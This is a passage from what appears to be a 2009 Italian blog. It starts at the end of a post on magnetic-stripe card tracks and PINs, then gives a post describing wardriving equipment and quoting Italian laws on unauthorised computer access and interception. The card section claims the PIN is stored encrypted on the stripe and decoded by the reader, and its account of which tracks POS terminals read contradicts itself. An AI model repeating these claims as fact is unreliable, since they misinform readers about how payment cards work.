La seconda traccia è l'unica ad essere letta dai terminali POS. Per poter utilzzare la carta ogni utente riceve il proprio PIN:Personal Identification Number un codice composto solitamente da 4 cifre registrato sulla banda magnerica delle tessere bancomat o delle carte di credito. Tramite questo codice è possibile usufruire dei servizi connessi alla tessera. Tengo a specificare che il pin sulla carta è cifrato. Il lettore di carta decodifica il pin e lo trasmette nella bese di dati per effetture il confronto.La traccia piu spesso utilizzata è la traccia 2 che contiene tutte le informazioni che normalmente sono utilizzate per transazioni di carte di credito.Quando il nome del cliente è richiesto viene utilizzata la traccia 1 in quando è l'unica traccia che permette di memorizzre dati alfanumerici.



venerdì 26 giugno 2009

Wardriving: Accesso abusivo ad un sistema informatico.

Il wardriving è un'attività che consiste nell'intercettare reti Wireless, in automobile, in bicicletta o a piedi. Bastano 2 persone, uno guida e l’altro guarda il portatile. Molte volte viene abbinato anche un ricevitore GPS DATA LOGGER per individuare l'esatta locazione della rete trovata ed eventualmente pubblicarne le sue coordinate geografiche un sito web, oppure realizzare una mappa personale :-). Per una migliore ricezione delle reti vengono usate antenne omnidirezionali. Il wardriving in realtà consiste nel trovare Access Point (AP) e registrarne la posizione STOP. Di solito mi capita di sentire delle voci di corridoio che dicono: Il wardiving è illegale finisci in carcere... Sei un brutto cracker.
Tengo a specificare che il wardriving non è un reato, ma il collegamento a una rete wireless SI. Chi si occupa di diritto delle tecnologie sa bene che:


L'articolo 7 della legge 18 marzo 2008 n°48 prevede l'"idroduzione dell'articolo 24-bis del decredo legislativo 8 giugno 2001, n. 231". Secondo tale norma si applica all'ente la sanzione pecuniaria da cento a cinquecento quote, nei delitti di cui agli articoli:


Art. 615 ter Accesso abusivo ad un sistema informatico o telematico


Chiunque abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volonta' espressa o tacita di chi ha il diritto di escluderlo, e' punito con la reclusione fino a tre anni. La pena e' della reclusione da uno a cinque anni:

1) se il fatto e' commesso da un pubblico ufficiale o da un incaricato di un pubblico servizio, con abuso dei poteri o con violazione dei doveri inerenti alla funzione o al servizio, o da chi esercita anche abusivamente la professione di investigatore privato, o con abuso della qualita' di operatore del sistema;

2) se il colpevole per commettere il fatto usa violenza sulle cose o alle persone, ovvero se e' palesemente armato;

3) se dal fatto deriva la distruzione o il danneggiamento del sistema o l'interruzione totale o parziale del suo funzionamento, ovvero la distruzione o il danneggiamento dei dati, delle informazioni o dei programmi in esso contenuti.

Qualora i fatti di cui ai commi primo e secondo riguardino sistemi informatici o telematici di interesse militare o relativi all'ordine pubblico o alla sicurezza pubblica o alla sanita' o alla protezione civile o comunque di interesse pubblico, la pena e', rispettivamente, della reclusione da uno a cinque anni e da tre a otto anni. Nel caso previsto dal primo comma il delitto e' punibile a querela della persona offesa; negli altri casi si procede d'ufficio (1). (1)Articolo aggiunto dall'art. 4, L. 23 dicembre 1993, n. 547.

Art. 617 quater Intercettazione, impedimento o interruzione illecita di comunicazioni informatiche o telematiche


Chiunque fraudolentamente intercetta comunicazioni relative ad un sistema informatico o telematico o intercorrenti tra piu' sistemi, ovvero le impedisce o le interrompe, e' punito con la reclusione da sei mesi a quattro anni. Salvo che il fatto costituisca piu' grave reato, la stessa pena si applica a chiunque rivela, mediante qualsiasi mezzo di informazione al pubblico, in tutto o in parte, il contenuto delle comunicazioni di cui al primo comma. I delitti di cui ai commi primo e secondo sono punibili a querela della persona offesa. Tuttavia si procede d'ufficio e la pena e' della reclusione da uno a cinque anni se il fatto e' commesso:

1) in danno di un sistema informatico o telematico utilizzato dallo Stato o da altro ente pubblico o da impresa esercente servizi pubblici o di pubblica necessita';

2) da un pubblico ufficiale o da un incaricato di un pubblico servizio, con abuso dei poteri o con violazione dei doveri inerenti alla funzione o al servizio, ovvero con abuso della qualita' di operatore del sistema; 3) da chi esercita anche abusivamente la professione di investigatore privato (1). (1) Articolo aggiunto dall'art. 6, L. 23 dicembre 1993, n. 547.


Questi ad esempio sono reati puniti dalla legge!!!